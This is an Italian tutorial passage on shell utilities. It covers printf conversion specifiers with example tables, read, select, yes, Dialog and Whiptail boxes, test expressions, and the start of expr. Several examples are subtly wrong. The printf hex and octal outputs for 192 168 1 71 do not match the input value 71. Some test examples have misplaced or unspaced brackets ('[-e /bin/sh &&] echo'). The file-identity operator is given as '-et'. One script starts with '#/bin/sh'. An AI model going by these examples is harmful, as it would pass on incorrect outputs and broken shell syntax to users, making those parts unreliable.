Per ovviare alle carenze di '**`echo`**', occorre scegliere piuttosto il programma '**`printf`**',[6] il quale emette attraverso lo standard output la stringa di composizione fornita, utilizzando gli argomenti, con regole analoghe a quelle della funzione ***printf()*** del linguaggio C:

`printf` ***composizione*** [***argomento***...]

Nella stringa di composizione, vanno usate opportunamente le sequenze di escape della tabella 20.31. Per esempio, per mandare a capo il testo dopo la visualizzazione della stringa, occorre concludere con la sequenza '**`\n`**' (cosa che per '**`echo`**' è invece implicita. Inoltre, se dopo la stringa di composizione ci sono degli argomenti, si possono inserire degli ***specificatori di conversione***, caratterizzati dal fatto che iniziano con il simbolo di percentuale ('**`%`**'), dove ogni specificatore serve a rappresentare un argomento. Il modo in cui si esprime uno specificatore di conversione può essere complesso, pertanto viene mostrato un modello sintattico che descrive la sua struttura, limitatamente alle necessità del programma '**`printf`**':

`%`[***simbolo***] [***n_ampiezza***] [***.n_precisione***] ***tipo***

La prima cosa da individuare in uno specificatore di conversione è il tipo di argomento che viene interpretato e, di conseguenza, il genere di rappresentazione che se ne vuole produrre. Il tipo viene espresso da una lettera alfabetica, alla fine dello specificatore di conversione. La tabella successiva riepiloga i tipi principali che dovrebbero essere accettabili in ogni realizzazione di '**`printf`**'.

Tabella 20.33. Tipi di conversione principali.

Simbolo	Tipo di argomento	Conversione applicata
`%...d` `%...i`	`int`	Numero intero con segno da rappresentare in base dieci.
`%...u`	`unsigned int`	Numero intero senza segno da rappresentare in base dieci.
`%...o`	`unsigned int`	Numero intero senza segno da rappresentare in ottale (senza lo zero iniziale che viene usato spesso per caratterizzare un tale tipo di rappresentazione).

Simbolo	Tipo di argomento	Conversione applicata
`%…x` `%…X`	`unsigned int`	Numero intero senza segno da rappresentare in esadecimale (senza il prefisso '**`0x`**' o '**`0X`**' che viene usato spesso per caratterizzare un tale tipo di rappresentazione).
`%…c`	`int`	Un carattere singolo, dopo la conversione in '**`unsigned char`**'.
`%…s`	`char *`	Una stringa.
`%…f`	`double`	Un numero a virgola mobile, da rappresentare in notazione decimale fissa: **[-]** ***iii . dddddd***
`%…e` `%…E`	`double`	Un numero a virgola mobile, da rappresentare in notazione esponenziale: **[-]** ***i . dddddd*e±*xx*** **[-]** ***i . dddddd*E±*xx***
`%…g` `%…G`	`double`	Un numero a virgola mobile, rappresentato in notazione decimale fissa o in notazione esponenziale, a seconda di quale si presti meglio in base ai vincoli posti da altri componenti dello specificatore di conversione.
`%%`		Questo specificatore si limita a produrre un carattere di percentuale ('**`%`**') che altrimenti non sarebbe rappresentabile.

Nel modello sintattico che descrive lo specificatore di conversione, si vede che subito dopo il segno di percentuale può apparire un simbolo (*flag*). I simboli principali che possono essere utilizzati sono descritti nella tabella successiva.

Tabella 20.34. Alcuni simboli, o *flag*.

Simbolo	Corrispondenza

`%+…`
`%#+…`
`%+0`***ampiezza***…
`%#+0`***ampiezza***…
	Il segno «+» fa sì che i numeri con segno lo mostrino anche se è positivo. Può combinarsi con lo zero e il cancelletto.

`%0`***ampiezza***… `%+0`***ampiezza***… `%#0`***ampiezza***… `%#+0`***ampiezza***…	Lo zero fa sì che siano inseriti degli zeri a sinistra per allineare a destra il valore, nell'ambito dell'ampiezza specificata. Può combinarsi con il segno «+» e il cancelletto.
`%`***ampiezza***… `% `***ampiezza***…	In mancanza di uno zero iniziale, in presenza dell'indicazione dell'ampiezza, il valore viene allineato a destra usando degli spazi. È possibile esprimere esplicitamente l'intenzione di usare gli spazi mettendo proprio uno spazio, ma in generale non è richiesto. Se si mette lo spazio letteralmente, questo non è poi compatibile con lo zero, mentre le combinazioni con gli altri simboli sono ammissibili.

Simbolo	Corrispondenza
%-*ampiezza*... %-+*ampiezza*... %#-*ampiezza*... %#-+*ampiezza*...	Il segno meno, usato quando la conversione prevede l'uso di una quantità fissa di caratteri con un valore che appare di norma allineato a destra, fa sì che il risultato sia allineato a sinistra. Il segno meno si può combinare il segno «+» e il cancelletto.
%#...	Il cancelletto richiede una modalità di rappresentazione alternativa, ammesso che questa sia prevista per il tipo di conversione specificato. È compatibili con gli altri simboli, ammesso che il suo utilizzo serva effettivamente per ottenere una rappresentazione alternativa.

Tra il simbolo (*flag*) e il tipo può apparire un numero che rappresenta l'ampiezza da usare nella trasformazione ed eventualmente la precisione: '***ampiezza*[.*precisione*]**'. Il concetto parte dalla rappresentazione dei valori in virgola mobile, dove l'ampiezza indica la quantità complessiva di caratteri da usare e la precisione indica quanti di quei caratteri usare per il punto decimale e le cifre successive, ma si applica anche alle stringhe.

In generale, per quanto riguarda la rappresentazione di valori numerici, la parte intera viene sempre espressa in modo completo, anche se l'ampiezza indicata è inferiore; ai numeri interi la precisione non si applica; per i numeri in virgola mobile con rappresentazione esponenziale, la precisione riguarda le cifre decimali che precedono l'esponente; per le stringhe la precisione specifica la quantità di caratteri da considerare, troncando il resto.

Segue la descrizione di alcuni esempi.

- `$ printf "ciao " ; printf "a tutti\n"` [*Invio*]

  Questo esempio serve a dimostrare che '**printf**' non manda a capo il cursore, alla fine della visualizzazione, se non richiesto espressamente con la sequenza '**\n**'.

  ```
  ciao a tutti
  ```

- `$ printf "%02x %02x %02x %02x\n" 192 168 1 71` [*Invio*]

  Converte in esadecimale, i valori forniti come argomento, facendo in modo che ogni numero occupi esattamente due cifre.

  ```
  c0 a8 01 fe
  ```

- `$ printf "%03o %03o %03o %03o\n" 192 168 1 71` [*Invio*]

  Converte in ottale, i valori forniti come argomento, facendo in modo che ogni numero ottale occupi esattamente tre cifre.

  ```
  300 250 001 376
  ```

Tabella 20.38. Esempi di utilizzo degli specificatori di conversione di '**`printf`**'.

Codice	Risultato emesso attraverso la funzione
`printf "[%i]" 123`	`[123]`
`printf "[%i]" -123`	`[-123]`
`printf "[%2d]" 123`	`[123]` L'indicatore '**`%2d`**' specifica che si devono usare almeno due cifre, ma se le cifre della parte intera sono in numero maggiore, queste vanno indicate tutte ugualmente.
`printf "[%6d]" 123`	`[   123]`
`printf "[%6d]" -123`	`[  -123]`
`printf "[%+6d]" 123`	`[  +123]`
`printf "[%06d]" 123`	`[000123]`
`printf "[%06d]" -123`	`[-00123]`
`printf "[%+06d]" 123`	`[+00123]`
`printf "[%-6d]" 123`	`[123   ]`
`printf "[%u]" 123`	`[123]`
`printf "[%u]" -123`	`[18446744073709551493]` Evidentemente si ottiene la rappresentazione del valore binario, tale e quale, secondo la notazione usata per i valori negativi.
`printf "[%6x]" 123`	`[    7b]`
`printf "[%06x]" 123`	`[00007b]`
`printf "[%x]" 123`	`[7b]`
`printf "[%x]" -123`	`[ffffffffffffff85]` Evidentemente si ottiene la rappresentazione del valore binario, tale e quale, secondo la notazione usata per i valori negativi.
`printf "[%-6x]" 123`	`[7b    ]`
`printf "[%-06x]" 123`	`[7b    ]`
`printf "[%o]" 123`	`[173]`
`printf "[%o]" -123`	`[1777777777777777777605]` Evidentemente si ottiene la rappresentazione del valore binario, tale e quale, secondo la notazione usata per i valori negativi.
`printf "[%6o]" 123`	`[   173]`
`printf "[%06o]" 123`	`[000173]`
`printf "[%f]" 123.456`	`[123.456000]`
`printf "[%f]" -123.456`	`[-123.456000]`

Codice	Risultato emesso attraverso la funzione
`printf "[%12f]" 123.456`	`[  123.456000]`
`printf "[%.4f]" 123.456`	`[123.4560]`
`printf "[%12.4f]" 123.456`	`[    123.4560]`
`printf "[%12.4f]" -123.456`	`[   -123.4560]`
`printf "[%+12.4f]" 123.456`	`[   +123.4560]`
`printf "[%012.4f]" 123.456`	`[0000123.4560]`
`printf "[%012.4f]" -123.456`	`[-000123.4560]`
`printf "[%+012.4f]" 123.456`	`[+000123.4560]`
`printf "[%-12.4f]" 123.456`	`[123.4560    ]`
`printf "[%e]" 123.456`	`[1.234560e+02]`
`printf "[%e]" -123.456`	`[-1.234560e+02]`
`printf "[%15e]" 123.456`	`[   1.234560e+02]`
`printf "[%.4e]" 123.456`	`[1.2346e+02]`
`printf "[%15.4e]" 123.456`	`[     1.2346e+02]`
`printf "[%15.4e]" -123.456`	`[    -1.2346e+02]`
`printf "[%+15.4e]" 123.456`	`[    +1.2346e+02]`
`printf "[%015.4e]" 123.456`	`[000001.2346e+02]`
`printf "[%015.4e]" -123.456`	`[-00001.2346e+02]`
`printf "[%+015.4e]" 123.456`	`[+00001.2346e+02]`
`printf "[%-15.4e]" 123.456`	`[1.2346e+02     ]`
`printf "[%s]" "ciao amore"`	`[ciao amore]`
`printf "[%7s]" "ciao amore"`	`[ciao amore]` La stringa è più lunga di sette caratteri, ma viene visualizzata completamente.
`printf "[%.7s]" "ciao amore"`	`[ciao am]` La stringa viene troncata se è più lunga del valore della precisione.
`printf "[%.14s]" "ciao amore"`	`[ciao amore]`
`printf "[%14s]" "ciao amore"`	`[    ciao amore]`
`printf "[%14.7s]" "ciao amore"`	`[       ciao am]`
`printf "[%-14s]" "ciao amore"`	`[ciao amore    ]`
`printf "[%-14.7s]" "ciao amore"`	`[ciao am       ]`

20.6.2 Utilizzo di «read»

Di norma, '**read**' è un comando interno delle shell POSIX, anche se potrebbe essere disponibile un programma di servizio equivalente, da utilizzare con una shell differente. Il modello sintattico seguente rappresenta una semplificazione che dovrebbe essere compatibile in generale con le shell POSIX:

read [-p *invito*] [*variabile*...]

Il comando '**read**' potrebbe essere utilizzato da solo, senza argomenti; in questo caso servirebbe soltanto per attendere la pressione del tasto [*Invio*], permettendo all'utente di leggere un'informazione che appare sullo schermo, prima di proseguire con altre operazioni.

L'opzione '**-p**' dovrebbe essere abbastanza chiara: permette di definire una stringa di invito all'inserimento di qualcosa. Infine, i nomi che vengono collocati in coda alla riga di comando, rappresentano altrettante variabili di ambiente che vengono create appositamente, assegnando loro le parole inserite attraverso '**read**'; in particolare, l'ultima variabile dell'elenco raccoglie tutte le parole rimanenti.

```
#!/bin/sh

printf "Inserisci una frase: "
read UNO DUE TRE
printf "La prima parola inserita è «$UNO»\n"
printf "La seconda parola inserita è «$DUE»\n"
printf "Il resto della frase è «$TRE»\n"
```

L'esempio dovrebbe permettere di capire il funzionamento di '**read**'. Si osservi in particolare il fatto che l'invito viene ottenuto attraverso il comando '**printf**', senza indicare alla fine il codice di interruzione di riga. Supponendo che si tratti dello script '**read.sh**':

$ **./read.sh** [*Invio*]

Inserisci una frase: **ciao come stai? io sto bene** [*Invio*]

```
La prima parola inserita è «ciao»
La seconda parola inserita è «come»
Il resto della frase è «stai? io sto bene»
```

20.6.3 Utilizzo di «select»

La shell Korn e la shell Bash offrono una struttura di controllo particolare, utile per la selezione interattiva di un elemento da un elenco. Si tratta di '**select**', la cui sintassi si riassume nello schema sintattico seguente:

```
select variabile [in valore...]
do
    lista_di_comandi
done
```

L'elenco di parole che segue '**in**' viene espanso, generando una lista di elementi. L'insieme delle parole espanse viene emesso attraverso lo standard error, ognuna preceduta da un numero. Se '**in**' (e i suoi argomenti) viene omesso, vengono utilizzati i parametri posizionali. In pratica è come se venisse usato '**in $@**'.

Dopo l'emissione dell'elenco, viene mostrato l'invito contenuto nella variabile ***PS3*** e viene letta una riga dallo standard input. Se la riga consiste del numero corrispondente a una delle parole mostrate, allora viene assegnato alla variabile indicata dopo '**select**' la parola corrispondente. Se la riga è vuota (probabilmente è stato premuto soltanto [*Invio*]), l'elenco e l'invito vengono emessi nuovamente. Se viene letto il codice corrispondente a EOF ([*Ctrl d*]), il comando termina. Qualsiasi altro valore letto fa sì che la variabile sia posta al valore della stringa nulla. La riga letta viene salvata nella variabile ***REPLY***. La lista di comandi che segue '**do**' viene eseguita dopo ciascuna selezione fino a che non viene incontrato un comando '**break**' o '**return**'.

Il valore restituito da '**select**' è quello dell'ultimo comando eseguito all'interno della lista '**do**', oppure zero se nessun comando è stato eseguito.

Viene mostrato nuovamente lo stesso esempio già presentato in occasione della descrizione di '**select**' fatta nell'ambito dei capitoli dedicati a Bash: fa apparire un menù composto dagli argomenti fornitigli; a ogni selezione mostra quello scelto.

```
#!/bin/sh
select i in $*
do
    echo "hai selezionato $i premendo $REPLY"
    echo ""
    echo "premi Ctrl+c per terminare"
done
```

L'esempio seguente proviene dagli script di nanoLinux II 1998 e rappresenta la selezione del nome di un'interfaccia di rete, il quale viene accumulato nella variabile di ambiente ***INTERFACCIA***:

```
echo "Selezionare l'interfaccia."
select i in eth0 eth1 eth2 plip0 plip1 plip2
do
    INTERFACCIA=$i
    break
done
```

20.6.4 Utilizzo di «yes»

Il programma di servizio '**yes**'[7] emette ripetitivamente senza fine, attraverso lo standard output, le stringhe indicate come argomento (separate da uno spazio l'una dall'altra), seguite dal codice di interruzione di riga.

```
yes [stringa...]
```

Se non viene indicata alcuna stringa come argomento, emette la lettera «y». Il programma continua la sua esecuzione fino a che non viene interrotto. Segue la descrizione di alcuni esempi.

- $ **yes** [*Invio*]

  ```
  y
  y
  y
  y
  y
  ...
  ```

  Senza argomenti, '**yes**' emette una serie indefinita di lettere «y» seguite dal codice di interruzione di riga.

- $ **yes n** [*Invio*]

  ```
  n
  n
  n
  n
  n
  ...
  ```

  Se vengono specificate delle stringhe come argomento, queste stringhe vengono emesse ripetitivamente.

- $ **yes | mio_prog** [*Invio*]

  Si invia una serie di lettere «y», seguite dal codice di interruzione di riga, al programma ipotetico '**mio_prog**' che probabilmente tende a fare delle domande alle quali si vuole rispondere sempre con una lettera «y».

20.6.5 Dialog e simili

Dialog e altri programmi più o meno compatibili, hanno lo scopo di gestire effetti più appariscenti in uno script di shell, interagendo con l'utilizzatore attraverso schermate colorate e finestre di dialogo, le quali, a seconda dei casi sono adatte allo schermo a caratteri, oppure richiedono la grafica.[8] [9] [10] [11]

dialog [***opzioni_generali***] [***definizione_del_tipo_di_interazione***]

whiptail [***opzioni_generali***] [***definizione_del_tipo_di_interazione***]

Xdialog [***opzioni_generali***] [***definizione_del_tipo_di_interazione***]

gdialog [***opzioni_generali***] [***definizione_del_tipo_di_interazione***]

Si può intuire che il programma «standard» sia Dialog, essendo fatto per i terminali a caratteri, utilizzando la libreria Ncurses.[12] Il programma Whiptail, è una rivisitazione, fatta sempre per i terminali senza grafica, ma usa la libreria Newt.[13] Gli altri programmi si usano con la grafica.

La riga di comando distingue due tipi di opzioni: quelle che hanno valore in senso generale influenzando il comportamento del programma e quelle che definiscono un tipo di interazione con l'utilizzatore. Nella documentazione originale, queste ultime sono definite *box-options*, perché si riferiscono ai riquadri che vengono mostrati sullo schermo. Evidentemente, si può utilizzare al massimo una sola opzione che definisca una finestra di dialogo.

Dovendo definire delle finestre su uno schermo a caratteri, le opzioni che permettono di descriverle, fanno riferimento a delle dimensioni in caratteri. Questi valori non possono essere omessi e in caso si voglia fare riferimento alle dimensioni ottimali, in base alla disponibilità dello schermo, basta indicare il valore zero, tenendo conto però che questa possibilità non funziona sempre.

La documentazione di Dialog in particolare è accompagnata da esempi di script più completi di quelli che si vedono qui. Vale la pena di studiarli per apprendere bene il funzionamento di questi programmi. In generale, dovrebbero trovarsi a partire dalla directory '`/usr/share/doc/dialog/`'.

Tabella 20.45. Alcune opzioni generali.

Opzione	Descrizione
`--clear`	Se si utilizza questa opzione generale, si fa in modo di ripulire lo schermo prima di mostrare il riquadro della finestra di dialogo. Nelle versioni grafiche del programma, viene ignorata.
`--title` ***titolo_finestra***	Permette di dare un titolo alla finestra di dialogo.
`--backtitle` ***sottotitolo_finestra***	Permette di dare un titolo allo sfondo, facendolo apparire nella parte superiore dello schermo, al di fuori della finestra di dialogo relativa. Alcune realizzazioni del programma, ignorano questa opzione.
`--separate-output`	Questa opzione altera il modo in cui viene emesso il risultato di un'interazione. Per la precisione serve quando si utilizza una finestra di dialogo contenente una lista di caselline da barrare. Si veda a questo proposito l'opzione '**`--checklist`**'.
`--fb`	Questa opzione riguarda esclusivamente Whiptail e consente di visualizzare pulsanti grafici più appariscenti del normale.

Tabella 20.46. Alcune opzioni per la definizione della finestra di dialogo.

Opzione	Descrizione
`--yesno` ***testo altezza larghezza***	Fa apparire una finestra di dialogo molto semplice, in cui viene mostrato il testo indicato, al quale si deve rispondere con un «sì», oppure con un «no», rappresentati da due pulsanti grafici: YES e NO. Se la risposta è «sì», viene restituito *Vero* (il valore zero), altrimenti si ottiene *Falso* (un valore diverso da zero).
`--msgbox` ***testo altezza larghezza***	La finestra di dialogo che si ottiene, serve a mostrare un messaggio, per il quale si attende la conferma da parte dell'utilizzatore. Alla base della finestra appare il pulsante grafico OK, selezionando il quale si conclude il funzionamento del programma.
`--infobox` ***testo altezza larghezza***	In questo caso, più che di una finestra di dialogo, si tratta di una finestra contenente un messaggio, per il quale non viene attesa alcuna azione da parte dell'utente. In pratica, il programma mostra il messaggio e termina immediatamente di funzionare. Può essere paragonato a un comando '**`echo`**', molto più appariscente.
`--inputbox` ***testo*** ↩ ↪***altezza larghezza*** ↩ ↪ [***risposta_predefinita***]	Questa finestra di dialogo permette all'utilizzatore di inserire un testo libero, dove eventualmente è possibile mostrare inizialmente una risposta predefinita. Alla base della finestra appaiono i pulsanti grafici OK e CANCEL. Se si seleziona OK, si conferma il testo inserito, il quale viene emesso attraverso lo standard output; altrimenti, con CANCEL, non si ottiene alcun risultato.
`--passwordbox` ***testo*** ↩ ↪***altezza larghezza*** ↩ ↪ [***risposta_predefinita***]	Questa finestra di dialogo è analoga a quella che si ottiene con '**`--inputbox`**', con la differenza che non si vede quanto digitato dall'utente. Funziona solo con Dialog e Whiptail.
`--password inputbox` ***testo*** ↩ ↪***altezza larghezza***	Questa finestra di dialogo è analoga a quella che si ottiene con '**`--inputbox`**', con la differenza che non si vede quanto digitato dall'utente. Funziona solo con Xdialog e Gdialog.

Opzione	Descrizione
`--textbox` ***file altezza larghezza***	Questa finestra di dialogo serve a permettere la visualizzazione di un file di testo. L'utilizzatore può usare intuitivamente i tasti [*pagina-su*], [*pagina-giù*] e i tasti freccia, anche per degli spostamenti orizzontali. Alla base della finestra si vede il pulsante grafico EXIT, che permette di concludere la visualizzazione. È il caso di annotare un problema relativo agli stop di tabulazione. Se il testo da mostrare ne contiene, è molto probabile che la visualizzazione di questo avvenga in modo disallineato rispetto alla realtà. Ciò dipende dal fatto che la visualizzazione avviene all'interno di un'area incorniciata, per cui gli stop di tabulazione si trovano spostati rispetto alla loro posizione originale. In questi casi, converrebbe rielaborare il file da visualizzare attraverso il programma '**`expand`**', prima di passare alla visualizzazione.
`--menu` ***testo*** ↩ ↪***altezza larghezza altezza_menù*** ↩ ↪[***elemento descrizione***]...	Questo tipo di finestra di dialogo comincia a essere un po' più complicato. Il suo scopo è quello di mostrare un menù, composto da coppie di valori, dove il primo è ciò che viene restituito attraverso lo standard output nel caso di selezione e il secondo è la sua descrizione. Il menù, ovvero l'elenco di queste voci, può avere un'altezza determinata, ma anche in questo caso si può stabilire una larghezza predefinita utilizzando semplicemente lo zero. Sulle voci del menù appare un cursore in forma di barra di scorrimento, la quale può essere spostata con i tasti freccia o i tasti pagina, mentre alla base della finestra appaiono i pulsanti grafici OK e CANCEL. Selezionando OK, il programma termina emettendo la stringa corrispondente all'elemento che si trova evidenziato dalla barra di scorrimento; selezionando CANCEL non si ottiene alcun risultato.
`--checklist` ***testo*** ↩ ↪***altezza larghezza altezza_menù*** ↩ ↪[***elemento descrizione*** `on`|`off`]...	Questo tipo di finestra di dialogo è simile a quella che si ottiene con l'opzione '**`--menu`**'. La differenza fondamentale sta nel fatto che in questo caso è possibile selezionare più voci, attraverso delle caselle di selezione: anche qui c'è una barra di scorrimento e quando ci si trova sopra la voce desiderata, la [*barra-spaziatrice*] mette o toglie il segno di selezione. A differenza dell'opzione '**`--menu`**', le voci del menù possono essere già attivate o meno, pertanto si aggiunge la parola chiave '**`on`**' oppure '**`off`**'. La particolarità di questo tipo di selezione, richiede attenzione nel modo in cui deve essere interpretato il risultato emesso attraverso lo standard output. Infatti, in condizioni normali, vengono restituite le stringhe corrispondenti alle voci di menù selezionate, delimitate tra apici doppi, o in altro modo, a seconda del programma usato. Se questo sistema crea difficoltà, si può abbinare l'uso dell'opzione '**`--separate-output`**' perché queste stringhe siano separate dal codice di interruzione di riga, senza l'uso di delimitatori di altro tipo.
`--radiolist` ***testo*** ↩ ↪***altezza larghezza altezza_menù*** ↩ ↪[***elemento descrizione*** `on`|`off`]...	Questo tipo di finestra di dialogo si comporta in modo simile a quella ottenuta con l'opzione '**`--checklist`**'. La differenza sta nel fatto che si può selezionare solo una voce dall'elenco, per cui il risultato non comporta difficoltà nell'interpretazione. Evidentemente, si può preselezionare solo una delle voci del menù.

Gli esempi seguenti mostrano diverse situazioni, dove si mette anche a confronto il risultato che si ottiene tra i vari programmi.

```
#/bin/sh

if dialog --title "Domanda" --yesno "Ti piace Dialog?" 0 0
then
    echo "Ottimo!"
else
    echo "Peccato :-)"
fi
```

In questo script, viene mostrata la finestra di dialogo che si vede nella figura 20.48; in base alla scelta affermativa o negativa, si ottiene la visualizzazione di un messaggio differente.

Figura 20.48. Esempio del funzionamento della finestra di dialogo ottenuta con l'opzione '**--yesno**' con Dialog.

```
.------- Domanda -------.
|   Ti piace Dialog?    |
|-----------------------|
| < Yes >       <  No  > |
'-----------------------'
```

Figura 20.49. Esempio del funzionamento della finestra di dialogo ottenuta con l'opzione '**--yesno**' con Xdialog e Gdialog, rispettivamente.

Lo script successivo mostrata la finestra di dialogo che si vede nella figura 20.51 e, in base alla scelta del colore, si ottiene il numero corrispondente.

```
#!/bin/sh

RISULTATO=‘tempfile‘

dialog --title "Menu’" \
--menu "Scegli il colore che preferisci" \
0 0 0 \
0 nero \
1 marrone \
2 rosso \
3 arancio \
4 giallo \
5 verde \
6 blu \
7 viola \
```

```
8 grigio \
9 bianco 2> $RISULTATO

echo `cat $RISULTATO`
```

Si osservi che è stato evitato l'uso di una lettera accentata, perché alcune delle varie interpretazioni del programma, non sono in grado di gestire altro che la codifica ASCII pura e semplice.

Figura 20.51. Esempio del funzionamento della finestra di dialogo ottenuta con l'opzione '**--menu**'.

```
.------------- Menu' -------------.
| Scegli il colore che preferisci |
| .-----------------------------. |
| |          0  nero            | |
| |          1  marrone         | |
| |          2  rosso           | |
| |          3  arancio         | |
| |          4  giallo          | |
| |          5  verde           | |
| |          6  blu             | |
| |          7  viola           | |
| |          8  grigio          | |
| |          9  bianco          | |
| `-----------------------------' |
|---------------------------------|
|     <  OK  >      <Cancel>      |
`---------------------------------'
```

Figura 20.52. Esempio con Xdialog e con Gdialog.

Lo script successivo è una variante di quello precedente in cui si possono selezionare più colori assieme. Nella figura 20.54 si vede la finestra di dialogo che si ottiene.

```
#!/bin/sh

RISULTATO=`tempfile`

dialog --separate-output --title "Selezione" \
--checklist "Scegli i colori che preferisci" \
0 0 10 \
0 nero on \
1 marrone off \
2 rosso off \
3 arancio off \
4 giallo off \
5 verde off \
6 blu off \
7 viola off \
8 grigio off \
9 bianco on \
    2> $RISULTATO

echo `cat $RISULTATO`
```

Figura 20.54. Esempio del funzionamento della finestra di dialogo ottenuta con l'opzione '**--checklist**'.

```
.------------- Menù -------------.
| Scegli i colori che preferisci |
| .----------------------------. |
| |       [X] 0  nero          | |
| |       [ ] 1  marrone       | |
| |       [ ] 2  rosso         | |
| |       [ ] 3  arancio       | |
| |       [ ] 4  giallo        | |
| |       [ ] 5  verde         | |
| |       [ ] 6  blu           | |
| |       [ ] 7  viola         | |
| |       [ ] 8  grigio        | |
| |       [X] 9  bianco        | |
| `----------------------------' |
|--------------------------------|
|     <  OK  >      <Cancel>     |
`--------------------------------'
```

Figura 20.55. Esempio con Xdialog e con Gdialog. Nel caso di Gdialog si può osservare che i valori predefiniti non vengono presi in considerazione.

Altri programmi affini.

kaptain(1)[14]	⟨*http://kaptain.sourceforge.net* ⟩

20.7 Espressioni

Alcuni programmi sono particolarmente indicati per la costruzione di espressioni e, per questo motivo, il risultato della loro elaborazione si traduce essenzialmente nella restituzione di un valore (*exit status*).

20.7.1 Utilizzo di «false» e «true»

Il programma di servizio '**`false`**'[15] si limita a restituire il valore uno, corrispondente in pratica a *Falso* nell'ambito dei comandi di shell:

```
false
```

Il programma di servizio '**`true`**'[16] si limita a restituire il valore zero, corrispondente in pratica a *Vero* nell'ambito dei comandi di shell:

```
true
```

20.7.2 Utilizzo di «test» o di «[»

Il programma di servizio '**test**',[17] ovvero il comando interno di una shell standard, avente lo stesso nome, risolve (valuta) l'espressione indicata. Il valore restituito può essere *Vero* (corrispondente a zero) o *Falso* (corrispondente a uno) ed è pari al risultato della valutazione dell'espressione.

```
test espressione_condizionale
```

```
[ espressione_condizionale ]
```

Come si può osservare dai modelli mostrati, si può usare questo programma anche con il nome '**[**', ovvero una parentesi quadra aperta, ma in tal caso, alla fine dell'espressione deve apparire un'altra parentesi quadra chiusa. Questo strattagemma consente di scrivere delle espressioni con una notazione simile a quella di un linguaggio di programmazione comune.

Bisogna ricordare che, sia '**test**', sia '**[**', rappresentano il nome di un programma, o al limite il nome di un comando interno di alcune shell, pertanto le parentesi quadre non possono essere attaccate all'espressione da valutare, così come il nome '**test**' non potrebbe esserlo.

Le espressioni possono essere unarie o binarie. Le espressioni unarie sono usate spesso per esaminare lo stato di un file. Vi sono operatori su stringa e anche operatori di comparazione numerica. Ogni operatore e operando deve essere un argomento separato.

Per fare riferimento a un descrittore di I/O (per esempio uno dei flussi di dati standard), si può indicare un file nella forma '`/dev/fd/`***n***', dove il numero finale rappresenta l'***n***-esimo descrittore. In alternativa, si può fare riferimento direttamente ai file '`/proc/self/fd/`***n***', secondo lo standard del kernel Linux.

Nella tabella 20.57 e in quelle successive, vengono elencate le espressioni elementari che possono essere utilizzate in questo modo.

Tabella 20.57. Espressioni per la verifica del tipo di file.

Espressione	Descrizione
`-e` ***file***	*Vero* se il file esiste ed è di qualunque tipo.
`-b` ***file***	*Vero* se il file esiste ed è un dispositivo a blocchi.
`-c` ***file***	*Vero* se il file esiste ed è un dispositivo a caratteri.
`-d` ***file***	*Vero* se il file esiste ed è una directory.

Espressione	Descrizione
`-f` ***file***	*Vero* se il file esiste ed è un file normale.
`-L` ***file***	*Vero* se il file esiste ed è un collegamento simbolico.
`-p` ***file***	*Vero* se il file esiste ed è un file FIFO (*pipe* con nome).
`-S` ***file***	*Vero* se il file esiste ed è un *socket*.
`-t` ***descrittore_file***	*Vero* se il descrittore indicato è aperto su un terminale.

Tabella 20.58. Espressioni per la verifica dei permessi e delle modalità dei file.

Espressione	Descrizione
`-g` ***file***	*Vero* se il file esiste ed è impostato il suo bit SGID.
`-u` ***file***	*Vero* se il file esiste ed è impostato il suo bit SUID.
`-k` ***file***	*Vero* se il file ha il bit Sticky attivo.
`-r` ***file***	*Vero* se il file esiste ed è leggibile.
`-w` ***file***	*Vero* se il file esiste ed è scrivibile.
`-x` ***file***	*Vero* se il file esiste ed è eseguibile.
`-O` ***file***	*Vero* se il file esiste e appartiene al numero UID efficace dell'utente attuale.
`-G` ***file***	*Vero* se il file esiste e appartiene al GID efficace dell'utente attuale.

Tabella 20.59. Espressioni per la verifica di altre caratteristiche dei file.

Espressione	Descrizione
`-s` ***file***	*Vero* se il file esiste e ha una dimensione maggiore di zero.
file_1 `-nt` ***file_2***	*Vero* se il primo file ha la data di modifica più recente.
file_1 `-ot` ***file_2***	*Vero* se il primo file ha la data di modifica più vecchia.
file_1 `-et` ***file_2***	*Vero* se i due nomi corrispondono allo stesso inode.

Tabella 20.60. Espressioni per la verifica e la comparazione delle stringhe.

Espressione	Descrizione
`-z` ***stringa***	*Vero* se la lunghezza della stringa è zero.
`-n` ***stringa***	*Vero* se la lunghezza della stringa è diversa da zero.
stringa_1 `=` ***stringa_2***	*Vero* se le stringhe sono uguali.
stringa_1 `!=` ***stringa_2***	*Vero* se le stringhe sono diverse.
stringa_1 `<` ***stringa_2***	*Vero* se la prima stringa è lessicograficamente precedente.
stringa_1 `>` ***stringa_2***	*Vero* se la prima stringa è lessicograficamente successiva.

Tabella 20.61. Espressioni per il confronto numerico. Come operandi possono essere utilizzati numeri interi, positivi o negativi, oppure l'espressione speciale '**`-l`** ***stringa***' che restituisce la lunghezza della stringa indicata.

Espressione	Descrizione
op_1 `-eq` ***op_2***	*Vero* se gli operandi sono uguali.
op_1 `-ne` ***op_2***	*Vero* se gli operandi sono differenti.
op_1 `-lt` ***op_2***	*Vero* se il primo operando è inferiore al secondo.
op_1 `-le` ***op_2***	*Vero* se il primo operando è inferiore o uguale al secondo.
op_1 `-gt` ***op_2***	*Vero* se il primo operando è maggiore del secondo.
op_1 `-ge` ***op_2***	*Vero* se il primo operando è maggiore o uguale al secondo.

Tabella 20.62. Operatori logici.

Espressione	Descrizione
`!` ***espressione***	Inverte il risultato logico dell'espressione.
`(` ***espressione*** `)`	*Vero* se l'espressione contenuta tra parentesi risulta vera. Le parentesi possono essere usate per cambiare l'ordine normale di risoluzione delle espressioni.
espressione `-a` ***espressione***	*Vero* se entrambe le espressioni danno un risultato *Vero*.
espressione `-o` ***espressione***	*Vero* se almeno un'espressione dà un risultato *Vero*.

Seguono due esempi senza descrizione, mostrando il risultato ottenuto attraverso lo standard output:

```
$ test 1 -lt 2 && echo "ok" [Invio]
```

```
ok
```

$ **["prova" = "pro"] || echo "le stringhe non combaciano"** [*Invio*]

```
le stringhe non combaciano
```

$ **test -d /bin && echo "/bin è una directory"** [*Invio*]

```
/bin è una directory
```

$ **[-e /bin/sh &&] echo "/bin/sh è un file eseguibile"** [*Invio*]

```
/bin/sh è un file eseguibile
```

20.7.3 Utilizzo di «expr»

Il programma di servizio '**expr**'[18] valuta un'espressione e ne emette il risultato attraverso lo standard output. Ogni elemento dell'espressione deve essere un argomento separato.

```
expr espressione
```

